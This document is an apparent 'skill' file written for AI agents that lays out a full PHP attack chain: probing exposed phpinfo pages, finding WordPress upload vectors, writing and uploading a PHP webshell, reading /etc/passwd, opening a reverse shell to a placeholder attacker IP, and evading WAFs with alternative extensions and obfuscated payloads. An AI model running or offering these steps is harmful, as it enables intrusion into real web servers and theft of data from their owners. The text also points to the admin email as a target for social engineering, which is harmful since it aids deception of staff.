phpinfo-to-rce – Security skill for AI agents

PHPInfo → RCE Chain Skill

Evaluate exposed phpinfo() pages for configuration disclosure and the

prerequisites of a separate execution path. Enabled process functions do not

create RCE without an authorized code or file-execution primitive.

When to Use

• source-leak-hunt flags a target with info.php or phpinfo.php exposed.
• You need to confirm whether RCE is possible before investing in upload vectors.
• Building an attack chain that requires code execution.
• Target has a file upload path (open registration + XMLRPC, contact form, profile image, etc.).

Prerequisites

• terminal with curl.
• Confirmed exposed phpinfo page (HTTP 200, contains "PHP Version").
• For RCE: a file upload vector on the same host (XMLRPC with credentials, open registration, contact form, etc.).

How to Run

# Step 1: Fetch phpinfo and check for exec restrictions
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/info.php" | grep -i "disable_functions"

# Step 2: If ONLY pcntl_* is disabled, all exec functions are available
# Step 3: Find upload vector and deliver webshell

Quick Reference

| Check | What to Look For | Implication |

|-------|-----------------|-------------|

| disable_functions | Only pcntl_alarm,pcntl_fork,... | All exec available — RCE possible |

| disable_functions | exec,system,passthru,shell_exec,popen,proc_open | Exec blocked — need bypass |

| allow_url_fopen | On | Remote file inclusion possible |

| allow_url_include | On | RFI directly possible |

| open_basedir | Not set or /var/www:/tmp | Wide file access |

| display_errors | On | Error-based information disclosure |

| DOCUMENT_ROOT | /var/www/html or custom | Know where webshell lands |

| SERVER_ADMIN | Email address | Contact for social engineering |

| _SERVER["REMOTE_ADDR"] | Shows YOUR IP (if behind proxy) | WAF/CDN detection |

| PHP version | < 7.4 | EOL — more unpatched CVEs |

Procedure

Step 1 — Fetch and Analyze PHPInfo

TARGET="$1"

# Full phpinfo dump
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/info.php" > /tmp/phpinfo_$TARGET.html
curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/phpinfo.php" >> /tmp/phpinfo_$TARGET.html 2>/dev/null

# Check if phpinfo is real (not SPA catch-all)
if ! grep -q "PHP Version" /tmp/phpinfo_$TARGET.html; then
  echo "[-] Not a real phpinfo page"
  exit 1
fi

echo "[+] PHPInfo confirmed on $TARGET"
echo ""

# Extract critical directives
echo "=== PHP Version ==="
grep -Eo 'PHP Version <.*?>[^<]+' /tmp/phpinfo_$TARGET.html | head -1

echo ""
echo "=== disable_functions ==="
DISABLED=$(grep -A1 'disable_functions' /tmp/phpinfo_$TARGET.html | grep -Eo '>(local|master).*?<' | sed 's/[<>]//g')
echo "$DISABLED"

echo ""
echo "=== Exec Functions Available? ==="
if echo "$DISABLED" | grep -qE 'exec|system|passthru|shell_exec|popen|proc_open'; then
  echo "[-] Exec functions ARE disabled — RCE blocked via standard methods"
else
  echo "[+] Exec functions NOT disabled — RCE POSSIBLE!"
  echo "[+] Available: exec, system, passthru, shell_exec, popen, proc_open"
fi

echo ""
echo "=== Other Critical Settings ==="
grep -E '(allow_url_fopen|allow_url_include|open_basedir|display_errors|DOCUMENT_ROOT|SERVER_ADMIN|upload_max_filesize|post_max_size)' /tmp/phpinfo_$TARGET.html | \
  sed 's/<[^>]*>//g' | sed 's/\s\+/ /g' | sort -u

Step 2 — Assess RCE Viability

# Decision matrix:
# 1. Exec functions NOT disabled → RCE possible with ANY upload vector
# 2. Exec functions disabled → Check for bypass techniques:
#    - LD_PRELOAD bypass (if putenv() not disabled)
#    - FFI bypass (PHP 7.4+ with FFI enabled)
#    - proc_open bypass (sometimes missed in disable_functions)
#    - mail() + sendmail_path abuse

# Quick check for LD_PRELOAD bypass viability
if ! echo "$DISABLED" | grep -q "putenv"; then
  echo "[+] putenv() available — LD_PRELOAD bypass possible"
fi

# Quick check for FFI bypass
if grep -q "FFI" /tmp/phpinfo_$TARGET.html && ! echo "$DISABLED" | grep -q "FFI"; then
  echo "[+] FFI enabled — FFI bypass possible (PHP 7.4+)"
fi

Step 3 — Find Upload Vector

TARGET="$1"

echo "[*] Searching for upload vectors on $TARGET..."

# Check WordPress open registration
REG=$(curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-login.php?action=register" | grep -o 'user_login')
[[ -n "$REG" ]] && echo "[+] Open WP registration — can upload via XMLRPC wp.uploadFile"

# Check XMLRPC with wp.uploadFile
XMLRPC_METHODS=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | grep -o 'wp.uploadFile')
[[ -n "$XMLRPC_METHODS" ]] && echo "[+] XMLRPC wp.uploadFile available"

# Check for contact form file upload
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/contact" | grep -iE 'type=.file|enctype=.multipart' && \
  echo "[+] Contact form with file upload"

# Check Elementor upload (if plugin present)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/elementor/v1/globals" | grep -q "elementor" && \
  echo "[+] Elementor detected — check for upload endpoints"

# Check Gravity Forms
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-json/gf/v2/forms" | grep -q "id" && \
  echo "[+] Gravity Forms detected — check for file upload fields"

Step 4 — Deliver Webshell

If upload vector found (e.g., XMLRPC + open registration):

TARGET="$1"

# Generate simple PHP webshell
cat > /tmp/ws.php << 'EOF'
<?php
$c = $_REQUEST['c'];
if($c) { system($c); } else { echo "<!-- OK -->"; }
?>
EOF

# If XMLRPC wp.uploadFile is available (see xmlrpc-exploitation skill for full flow):
# 1. Register user via open registration
# 2. Upload webshell via XMLRPC
# 3. Access at /wp-content/uploads/YYYY/MM/ws.php?c=id

echo "[*] Webshell ready at /tmp/ws.php"
echo "[*] Use xmlrpc-exploitation skill for the full upload chain"
echo "[*] Or adapt to the specific upload vector found above"

Step 5 — Verify RCE

TARGET="$1"
WEBSHELL_URL="$2"  # e.g., https://TARGET/wp-content/uploads/2026/06/ws.php

# Test command execution
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=id"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=uname -a"
curl --max-time 30 --connect-timeout 10 -sk "$WEBSHELL_URL?c=cat /etc/passwd | head -5"

# Establish reverse shell (if outbound connections allowed)
# On your listener: nc -lvnp 4444
# curl -sk "$WEBSHELL_URL?c=bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4444 0>%261'"

Pitfalls

• phpinfo behind WAF: Cloudflare may cache phpinfo or block certain paths. Try /test.php, /php_info.php, /info.php?1.
• disable_functions bypass complexity: LD_PRELOAD bypass requires compiling a .so file matching the target's architecture and libc. FFI bypass requires PHP 7.4+ and FFI::cdef() not in disable_functions.
• Upload path discovery: WordPress stores uploads in /wp-content/uploads/YYYY/MM/. Some hosts change this via UPLOADS constant (check phpinfo).
• Webshell blocked by WAF: If the host has mod_security or a WAF, the PHP webshell may be blocked on access. Try alternative extensions (.phtml, .php5, .pht) or obfuscated payloads.

Verification

• PHPInfo MUST be real (contains "PHP Version" text, not SPA catch-all).
• disable_functions analysis MUST confirm at least one exec function is available.
• Uploaded webshell MUST return id or whoami output proving code execution.
• Document the full chain: phpinfo → disable_functions analysis → upload vector → webshell → RCE.